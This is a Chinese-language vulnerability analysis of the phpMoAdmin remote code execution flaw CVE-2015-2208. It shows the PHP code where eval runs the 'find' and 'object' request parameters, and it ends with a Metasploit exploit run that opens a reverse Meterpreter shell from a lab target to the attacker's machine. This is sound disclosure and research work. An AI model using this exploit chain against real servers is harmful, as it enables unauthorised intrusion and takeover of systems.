phpMoadmin CVE-2015-2208 远程代码执行漏洞分析
05 Mar 2015 - Tr3jer_CongRong
phpMoAdmin 是一个用PHP 开发的在线MongoDB 管理工具,可用于创建、删除和修改数据库和索引,提供视图和数据搜索工具,提供数据库启动时间和内存的统计,支持JSON 格式数据的导入导出。
/phpmoadmin/moadmin.php 第555行
public function listRows($collection) {
foreach ($this->sort as $key => $val) { //cast vals to int
$sort[$key] = (int) $val;
}
$col = $this->mongo->selectCollection($collection);
$find = array();
if (isset($_GET['find']) && $_GET['find']) {
$_GET['find'] = trim($_GET['find']);
if (strpos($_GET['find'], 'array') === 0) {
eval('$find = ' . $_GET['find'] . ';');
} else if (is_string($_GET['find'])) {
if ($findArr = json_decode($_GET['find'], true)) {
$find = $findArr;
}
}
}
在这个listRows
方法中,eval执行GET接收的find
参数,首先$find
变量初始化为数组,而且通过strpos判断传入的值是否为数组。看看哪里调用了这个方法。
/phpmoadmin/moadmin.php 第836行
if (isset($_GET['collection']) && $action != 'listCollections' && method_exists(self::$model, $action)) {
$this->mongo[$action] = self::$model->$action($_GET['collection']);
$this->mongo['count'] = self::$model->count;
$this->mongo['colKeys'] = self::$model->colKeys;
}
首先需要设置collection
,根据$action
跟踪到第785行,这里就可以通过action
接收listRows
参数来调用listRows
方法。
$action = (isset($_GET['action']) ? $_GET['action'] : 'listCollections');
整体触发漏洞的逻辑就是首先通过action
接收listRows
,调用这个方法后,eval就会执行$find
传入的值。由于过滤不严,即可执行传入的任意恶意代码。
/phpmoadmin/moadmin.php 第693行
public function saveObject($collection, $obj) {
eval('$obj=' . $obj . ';'); //cast from string to array
return $this->mongo->selectCollection($collection)->save($obj);
}
saveObject
函数中eval执行了形参$obj,找找哪里调用了这个函数。
/phpmoadmin/moadmin.php 第786行
if (isset($_POST['object'])) {
if (self::$model->saveObject($_GET['collection'], $_POST['object'])) {
return $this->_dumpFormVals();
} else {
$action = 'editObject';
$_POST['errors']['object'] = 'Error: object could not be saved - check your array syntax.';
}
}
开头检查POST是否传输了object
,随后内包含的if进行判断,这个过程即调用了当前类的saveObject
方法,POST传入object
参数的值带入eval后就造成了代码执行。
Msf也已经更新了此漏洞的Exploit:
msf > use exploit/multi/http/phpmoadmin_exec
msf exploit(phpmoadmin_exec) > show options
Module options (exploit/multi/http/phpmoadmin_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST yes The target address
RPORT 80 yes The target port
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The URI path of the PHPMoAdmin page
VHOST no HTTP server virtual host
Exploit target:
Id Name
-- ----
0 PHPMoAdmin
msf exploit(phpmoadmin_exec) > set RHOST 172.16.20.136
RHOST => 172.16.20.136
msf exploit(phpmoadmin_exec) > set TARGETURI /phpmoadmin
TARGETURI => /phpmoadmin
msf exploit(phpmoadmin_exec) > exploit
[*] Started reverse TCP handler on 172.16.20.1:4444
[*] Executing payload...
[*] Sending stage (33684 bytes) to 172.16.20.136
[*] Meterpreter session 1 opened (172.16.20.1:4444 -> 172.16.20.136:33492) at 2015-03-05 22:34:56 +0800
meterpreter > ls
Listing: /php/www/phpmoadmin
=================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100644/rw-r--r-- 31713 fil 2015-03-05 21:42:58 +0800 LICENSE
100644/rw-r--r-- 5078 fil 2015-03-05 21:42:58 +0800 README.textile
100644/rw-r--r-- 1858 fil 2015-03-05 21:42:58 +0800 change.log
100644/rw-r--r-- 111430 fil 2015-03-05 21:42:58 +0800 moadmin.php